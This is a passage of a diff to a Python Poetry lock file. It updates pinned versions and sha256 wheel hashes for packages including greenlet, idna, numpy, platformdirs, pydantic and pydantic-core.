"greenlet-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb5d60805057d8948065338be6320d35e26b0a72f45db392eb32b70dd6dc9227"}, + {file = "greenlet-3.0.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e0e28f5233d64c693382f66d47c362b72089ebf8ac77df7e12ac705c9fa1163d"}, + {file = "greenlet-3.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:3e4bfa752b3688d74ab1186e2159779ff4867644d2b1ebf16db14281f0445377"}, + {file = "greenlet-3.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:c42bb589e6e9f9d8bdd79f02f044dff020d30c1afa6e84c0b56d1ce8a324553c"}, + {file = "greenlet-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:b2cedf279ca38ef3f4ed0d013a6a84a7fc3d9495a716b84a5fc5ff448965f251"}, + {file = "greenlet-3.0.2-cp37-cp37m-macosx_11_0_universal2.whl", hash = "sha256:6d65bec56a7bc352bcf11b275b838df618651109074d455a772d3afe25390b7d"}, + {file = "greenlet-3.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0acadbc3f72cb0ee85070e8d36bd2a4673d2abd10731ee73c10222cf2dd4713c"}, + {file = "greenlet-3.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:14b5d999aefe9ffd2049ad19079f733c3aaa426190ffecadb1d5feacef8fe397"}, + {file = "greenlet-3.0.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f27aa32466993c92d326df982c4acccd9530fe354e938d9e9deada563e71ce76"}, + {file = "greenlet-3.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f34a765c5170c0673eb747213a0275ecc749ab3652bdbec324621ed5b2edaef"}, + {file = "greenlet-3.0.2-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:520fcb53a39ef90f5021c77606952dbbc1da75d77114d69b8d7bded4a8e1a813"}, + {file = "greenlet-3.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d1fceb5351ab1601903e714c3028b37f6ea722be6873f46e349a960156c05650"}, + {file = "greenlet-3.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7363756cc439a503505b67983237d1cc19139b66488263eb19f5719a32597836"}, + {file = "greenlet-3.0.2-cp37-cp37m-win32.whl", hash = "sha256:d5547b462b8099b84746461e882a3eb8a6e3f80be46cb6afb8524eeb191d1a30"}, + {file = "greenlet-3.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:950e21562818f9c771989b5b65f990e76f4ac27af66e1bb34634ae67886ede2a"}, + {file = "greenlet-3.0.2-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:d64643317e76b4b41fdba659e7eca29634e5739b8bc394eda3a9127f697ed4b0"}, + {file = "greenlet-3.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f9ea7c2c9795549653b6f7569f6bc75d2c7d1f6b2854eb8ce0bc6ec3cb2dd88"}, + {file = "greenlet-3.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db4233358d3438369051a2f290f1311a360d25c49f255a6c5d10b5bcb3aa2b49"}, + {file = "greenlet-3.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ed9bf77b41798e8417657245b9f3649314218a4a17aefb02bb3992862df32495"}, + {file = "greenlet-3.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d4d0df07a38e41a10dfb62c6fc75ede196572b580f48ee49b9282c65639f3965"}, + {file = "greenlet-3.0.2-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:10d247260db20887ae8857c0cbc750b9170f0b067dd7d38fb68a3f2334393bd3"}, + {file = "greenlet-3.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a37ae53cca36823597fd5f65341b6f7bac2dd69ecd6ca01334bb795460ab150b"}, + {file = "greenlet-3.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:80d068e4b6e2499847d916ef64176811ead6bf210a610859220d537d935ec6fd"}, + {file = "greenlet-3.0.2-cp38-cp38-win32.whl", hash = "sha256:b1405614692ac986490d10d3e1a05e9734f473750d4bee3cf7d1286ef7af7da6"}, + {file = "greenlet-3.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:8756a94ed8f293450b0e91119eca2a36332deba69feb2f9ca410d35e74eae1e4"}, + {file = "greenlet-3.0.2-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:2c93cd03acb1499ee4de675e1a4ed8eaaa7227f7949dc55b37182047b006a7aa"}, + {file = "greenlet-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1dac09e3c0b78265d2e6d3cbac2d7c48bd1aa4b04a8ffeda3adde9f1688df2c3"}, + {file = "greenlet-3.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ee59c4627c8c4bb3e15949fbcd499abd6b7f4ad9e0bfcb62c65c5e2cabe0ec4"}, + {file = "greenlet-3.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18fe39d70d482b22f0014e84947c5aaa7211fb8e13dc4cc1c43ed2aa1db06d9a"}, + {file = "greenlet-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e84bef3cfb6b6bfe258c98c519811c240dbc5b33a523a14933a252e486797c90"}, + {file = "greenlet-3.0.2-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aecea0442975741e7d69daff9b13c83caff8c13eeb17485afa65f6360a045765"}, + {file = "greenlet-3.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f260e6c2337871a52161824058923df2bbddb38bc11a5cbe71f3474d877c5bd9"}, + {file = "greenlet-3.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:fc14dd9554f88c9c1fe04771589ae24db76cd56c8f1104e4381b383d6b71aff8"}, + {file = "greenlet-3.0.2-cp39-cp39-win32.whl", hash = "sha256:bfcecc984d60b20ffe30173b03bfe9ba6cb671b0be1e95c3e2056d4fe7006590"}, + {file = "greenlet-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:c235131bf59d2546bb3ebaa8d436126267392f2e51b85ff45ac60f3a26549af0"}, + {file = "greenlet-3.0.2.tar.gz", hash = "sha256:1c1129bc47266d83444c85a8e990ae22688cf05fb20d7951fd2866007c2ba9bc"}, ] [package.extras] @@ -1005,13 +1016,13 @@ socks = ["socksio (==1.*)"] [[package]] name = "humanize" -version = "4.8.0" +version = "4.9.0" description = "Python humanize utilities" optional = false python-versions = ">=3.8" files = [ - {file = "humanize-4.8.0-py3-none-any.whl", hash = "sha256:8bc9e2bb9315e61ec06bf690151ae35aeb65651ab091266941edf97c90836404"}, - {file = "humanize-4.8.0.tar.gz", hash = "sha256:9783373bf1eec713a770ecaa7c2d7a7902c98398009dfa3d8a2df91eec9311e8"}, + {file = "humanize-4.9.0-py3-none-any.whl", hash = "sha256:ce284a76d5b1377fd8836733b983bfb0b76f1aa1c090de2566fcf008d7f6ab16"}, + {file = "humanize-4.9.0.tar.gz", hash = "sha256:582a265c931c683a7e9b8ed9559089dea7edcf6cc95be39a3cbc2c5d5ac2bcfa"}, ] [package.extras] @@ -1033,13 +1044,13 @@ idna = ">=2.5" [[package]] name = "idna" -version = "3.4" +version = "3.6" description = "Internationalized Domain Names in Applications (IDNA)" optional = false python-versions = ">=3.5" files = [ - {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"}, - {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"}, + {file = "idna-3.6-py3-none-any.whl", hash = "sha256:c05567e9c24a6b9faaa835c4821bad0590fbb9d5779e7caa6e1cc4978e7eb24f"}, + {file = "idna-3.6.tar.gz", hash = "sha256:9ecdbbd083b06798ae1e86adcbfe8ab1479cf864e4ee30fe4e46a003d12491ca"}, ] [[package]] @@ -1209,13 +1220,13 @@ altgraph = ">=0.17" [[package]] name = "markdown2" -version = "2.4.10" +version = "2.4.12" description = "A fast and complete Python implementation of Markdown" optional = false python-versions = ">=3.5, <4" files = [ - {file = "markdown2-2.4.10-py2.py3-none-any.whl", hash = "sha256:e6105800483783831f5dc54f827aa5b44eb137ecef5a70293d8ecfbb4109ecc6"}, - {file = "markdown2-2.4.10.tar.gz", hash = "sha256:cdba126d90dc3aef6f4070ac342f974d63f415678959329cc7909f96cc235d72"}, + {file = "markdown2-2.4.12-py2.py3-none-any.whl", hash = "sha256:98f47591006f0ace0644cbece03fed6f3845513286f6c6e9f8bcf6a575174e2c"}, + {file = "markdown2-2.4.12.tar.gz", hash = "sha256:1bc8692696954d597778e0e25713c14ca56d87992070dedd95c17eddaf709204"}, ] [package.extras] @@ -1354,43 +1365,47 @@ files = [ [[package]] name = "numpy" -version = "1.26.1" +version = "1.26.2" description = "Fundamental package for array computing in Python" optional = false -python-versions = "<3.13,>=3.9" -files = [ - {file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"}, - {file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"}, - {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"}, - {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"}, - {file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"}, - {file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"}, - {file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"}, - {file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"}, - {file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"}, - {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"}, - {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"}, - {file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"}, - {file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"}, - {file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"}, - {file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"}, - {file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"}, - {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"}, - {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"}, - {file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"}, - {file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"}, - {file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"}, - {file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"}, - {file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"}, - {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"}, - {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"}, - {file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"}, - {file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"}, - {file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"}, - {file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"}, +python-versions = ">=3.9" +files = [ + {file = "numpy-1.26.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3703fc9258a4a122d17043e57b35e5ef1c5a5837c3db8be396c82e04c1cf9b0f"}, + {file = "numpy-1.26.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cc392fdcbd21d4be6ae1bb4475a03ce3b025cd49a9be5345d76d7585aea69440"}, + {file = "numpy-1.26.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:36340109af8da8805d8851ef1d74761b3b88e81a9bd80b290bbfed61bd2b4f75"}, + {file = "numpy-1.26.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bcc008217145b3d77abd3e4d5ef586e3bdfba8fe17940769f8aa09b99e856c00"}, + {file = "numpy-1.26.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:3ced40d4e9e18242f70dd02d739e44698df3dcb010d31f495ff00a31ef6014fe"}, + {file = "numpy-1.26.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b272d4cecc32c9e19911891446b72e986157e6a1809b7b56518b4f3755267523"}, + {file = "numpy-1.26.2-cp310-cp310-win32.whl", hash = "sha256:22f8fc02fdbc829e7a8c578dd8d2e15a9074b630d4da29cda483337e300e3ee9"}, + {file = "numpy-1.26.2-cp310-cp310-win_amd64.whl", hash = "sha256:26c9d33f8e8b846d5a65dd068c14e04018d05533b348d9eaeef6c1bd787f9919"}, + {file = "numpy-1.26.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b96e7b9c624ef3ae2ae0e04fa9b460f6b9f17ad8b4bec6d7756510f1f6c0c841"}, + {file = "numpy-1.26.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:aa18428111fb9a591d7a9cc1b48150097ba6a7e8299fb56bdf574df650e7d1f1"}, + {file = "numpy-1.26.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:06fa1ed84aa60ea6ef9f91ba57b5ed963c3729534e6e54055fc151fad0423f0a"}, + {file = "numpy-1.26.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:96ca5482c3dbdd051bcd1fce8034603d6ebfc125a7bd59f55b40d8f5d246832b"}, + {file = "numpy-1.26.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:854ab91a2906ef29dc3925a064fcd365c7b4da743f84b123002f6139bcb3f8a7"}, + {file = "numpy-1.26.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f43740ab089277d403aa07567be138fc2a89d4d9892d113b76153e0e412409f8"}, + {file = "numpy-1.26.2-cp311-cp311-win32.whl", hash = "sha256:a2bbc29fcb1771cd7b7425f98b05307776a6baf43035d3b80c4b0f29e9545186"}, + {file = "numpy-1.26.2-cp311-cp311-win_amd64.whl", hash = "sha256:2b3fca8a5b00184828d12b073af4d0fc5fdd94b1632c2477526f6bd7842d700d"}, + {file = "numpy-1.26.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a4cd6ed4a339c21f1d1b0fdf13426cb3b284555c27ac2f156dfdaaa7e16bfab0"}, + {file = "numpy-1.26.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5d5244aabd6ed7f312268b9247be47343a654ebea52a60f002dc70c769048e75"}, + {file = "numpy-1.26.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6a3cdb4d9c70e6b8c0814239ead47da00934666f668426fc6e94cce869e13fd7"}, + {file = "numpy-1.26.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa317b2325f7aa0a9471663e6093c210cb2ae9c0ad824732b307d2c51983d5b6"}, + {file = "numpy-1.26.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:174a8880739c16c925799c018f3f55b8130c1f7c8e75ab0a6fa9d41cab092fd6"}, + {file = "numpy-1.26.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f79b231bf5c16b1f39c7f4875e1ded36abee1591e98742b05d8a0fb55d8a3eec"}, + {file = "numpy-1.26.2-cp312-cp312-win32.whl", hash = "sha256:4a06263321dfd3598cacb252f51e521a8cb4b6df471bb12a7ee5cbab20ea9167"}, + {file = "numpy-1.26.2-cp312-cp312-win_amd64.whl", hash = "sha256:b04f5dc6b3efdaab541f7857351aac359e6ae3c126e2edb376929bd3b7f92d7e"}, + {file = "numpy-1.26.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4eb8df4bf8d3d90d091e0146f6c28492b0be84da3e409ebef54349f71ed271ef"}, + {file = "numpy-1.26.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a13860fdcd95de7cf58bd6f8bc5a5ef81c0b0625eb2c9a783948847abbef2c2"}, + {file = "numpy-1.26.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64308ebc366a8ed63fd0bf426b6a9468060962f1a4339ab1074c228fa6ade8e3"}, + {file = "numpy-1.26.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baf8aab04a2c0e859da118f0b38617e5ee65d75b83795055fb66c0d5e9e9b818"}, + {file = "numpy-1.26.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d73a3abcac238250091b11caef9ad12413dab01669511779bc9b29261dd50210"}, + {file = "numpy-1.26.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b361d369fc7e5e1714cf827b731ca32bff8d411212fccd29ad98ad622449cc36"}, + {file = "numpy-1.26.2-cp39-cp39-win32.whl", hash = "sha256:bd3f0091e845164a20bd5a326860c840fe2af79fa12e0469a12768a3ec578d80"}, + {file = "numpy-1.26.2-cp39-cp39-win_amd64.whl", hash = "sha256:2beef57fb031dcc0dc8fa4fe297a742027b954949cabb52a2a376c144e5e6060"}, + {file = "numpy-1.26.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1cc3d5029a30fb5f06704ad6b23b35e11309491c999838c31f124fee32107c79"}, + {file = "numpy-1.26.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94cc3c222bb9fb5a12e334d0479b97bb2df446fbe622b470928f5284ffca3f8d"}, + {file = "numpy-1.26.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:fe6b44fb8fcdf7eda4ef4461b97b3f63c466b27ab151bec2366db8b197387841"}, + {file = "numpy-1.26.2.tar.gz", hash = "sha256:f65738447676ab5777f11e6bbbdb8ce11b785e105f690bc45966574816b6d3ea"}, ] [[package]] @@ -1426,13 +1441,13 @@ totp = ["cryptography"] [[package]] name = "pathspec" -version = "0.11.2" +version = "0.12.1" description = "Utility library for gitignore style pattern matching of file paths." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "pathspec-0.11.2-py3-none-any.whl", hash = "sha256:1d6ed233af05e679efb96b1851550ea95bbb64b7c490b0f5aa52996c11e92a20"}, - {file = "pathspec-0.11.2.tar.gz", hash = "sha256:e0d8d0ac2f12da61956eb2306b69f9469b42f4deb0f3cb6ed47b9cce9996ced3"}, + {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, + {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, ] [[package]] @@ -1515,13 +1530,13 @@ tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "pa [[package]] name = "platformdirs" -version = "3.11.0" +version = "4.1.0" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "platformdirs-3.11.0-py3-none-any.whl", hash = "sha256:e9d171d00af68be50e9202731309c4e658fd8bc76f55c11c7dd760d023bda68e"}, - {file = "platformdirs-3.11.0.tar.gz", hash = "sha256:cf8ee52a3afdb965072dcc652433e0c7e3e40cf5ea1477cd4b3b1d2eb75495b3"}, + {file = "platformdirs-4.1.0-py3-none-any.whl", hash = "sha256:11c8f37bcca40db96d8144522d925583bdb7a31f7b0e37e3ed4318400a8e2380"}, + {file = "platformdirs-4.1.0.tar.gz", hash = "sha256:906d548203468492d432bcb294d4bc2fff751bf84971fbb2c10918cc206ee420"}, ] [package.extras] @@ -1556,13 +1571,13 @@ files = [ [[package]] name = "prompt-toolkit" -version = "3.0.39" +version = "3.0.43" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.39-py3-none-any.whl", hash = "sha256:9dffbe1d8acf91e3de75f3b544e4842382fc06c6babe903ac9acb74dc6e08d88"}, - {file = "prompt_toolkit-3.0.39.tar.gz", hash = "sha256:04505ade687dc26dc4284b1ad19a83be2f2afe83e7a828ace0c72f3a1df72aac"}, + {file = "prompt_toolkit-3.0.43-py3-none-any.whl", hash = "sha256:a11a29cb3bf0a28a387fe5122cdb649816a957cd9261dcedf8c9f1fef33eacf6"}, + {file = "prompt_toolkit-3.0.43.tar.gz", hash = "sha256:3527b7af26106cbc65a040bcc84839a3566ec1b051bb0bfe953631e704b0ff7d"}, ] [package.dependencies] @@ -1570,13 +1585,13 @@ wcwidth = "*" [[package]] name = "pyasn1" -version = "0.5.0" +version = "0.5.1" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"}, - {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"}, + {file = "pyasn1-0.5.1-py2.py3-none-any.whl", hash = "sha256:4439847c58d40b1d0a573d07e3856e95333f1976294494c325775aeca506eb58"}, + {file = "pyasn1-0.5.1.tar.gz", hash = "sha256:6d391a96e59b23130a5cfa74d6fd7f388dbbe26cc8f1edf39fdddf08d9d6676c"}, ] [[package]] @@ -1659,18 +1674,18 @@ files = [ [[package]] name = "pydantic" -version = "2.4.2" +version = "2.5.2" description = "Data validation using Python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-2.4.2-py3-none-any.whl", hash = "sha256:bc3ddf669d234f4220e6e1c4d96b061abe0998185a8d7855c0126782b7abc8c1"}, - {file = "pydantic-2.4.2.tar.gz", hash = "sha256:94f336138093a5d7f426aac732dcfe7ab4eb4da243c88f891d65deb4a2556ee7"}, + {file = "pydantic-2.5.2-py3-none-any.whl", hash = "sha256:80c50fb8e3dcecfddae1adbcc00ec5822918490c99ab31f6cf6140ca1c1429f0"}, + {file = "pydantic-2.5.2.tar.gz", hash = "sha256:ff177ba64c6faf73d7afa2e8cad38fd456c0dbe01c9954e71038001cd15a6edd"}, ] [package.dependencies] annotated-types = ">=0.4.0" -pydantic-core = "2.10.1" +pydantic-core = "2.14.5" typing-extensions = ">=4.6.1" [package.extras] @@ -1678,117 +1693,116 @@ email = ["email-validator (>=2.0.0)"] [[package]] name = "pydantic-core" -version = "2.10.1" +version = "2.14.5" description = "" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic_core-2.10.1-cp310-cp310-macosx_10_7_x86_64.whl", hash = "sha256:d64728ee14e667ba27c66314b7d880b8eeb050e58ffc5fec3b7a109f8cddbd63"}, - {file = "pydantic_core-2.10.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:48525933fea744a3e7464c19bfede85df4aba79ce90c60b94d8b6e1eddd67096"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef337945bbd76cce390d1b2496ccf9f90b1c1242a3a7bc242ca4a9fc5993427a"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a1392e0638af203cee360495fd2cfdd6054711f2db5175b6e9c3c461b76f5175"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0675ba5d22de54d07bccde38997e780044dcfa9a71aac9fd7d4d7a1d2e3e65f7"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:128552af70a64660f21cb0eb4876cbdadf1a1f9d5de820fed6421fa8de07c893"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f6e6aed5818c264412ac0598b581a002a9f050cb2637a84979859e70197aa9e"}, - {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ecaac27da855b8d73f92123e5f03612b04c5632fd0a476e469dfc47cd37d6b2e"}, - {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b3c01c2fb081fced3bbb3da78510693dc7121bb893a1f0f5f4b48013201f362e"}, - {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:92f675fefa977625105708492850bcbc1182bfc3e997f8eecb866d1927c98ae6"}, - {file = "pydantic_core-2.10.1-cp310-none-win32.whl", hash = "sha256:420a692b547736a8d8703c39ea935ab5d8f0d2573f8f123b0a294e49a73f214b"}, - {file = "pydantic_core-2.10.1-cp310-none-win_amd64.whl", hash = "sha256:0880e239827b4b5b3e2ce05e6b766a7414e5f5aedc4523be6b68cfbc7f61c5d0"}, - {file = "pydantic_core-2.10.1-cp311-cp311-macosx_10_7_x86_64.whl", hash = "sha256:073d4a470b195d2b2245d0343569aac7e979d3a0dcce6c7d2af6d8a920ad0bea"}, - {file = "pydantic_core-2.10.1-cp311-cp311-macosx_11_0_arm64.whl", hash = 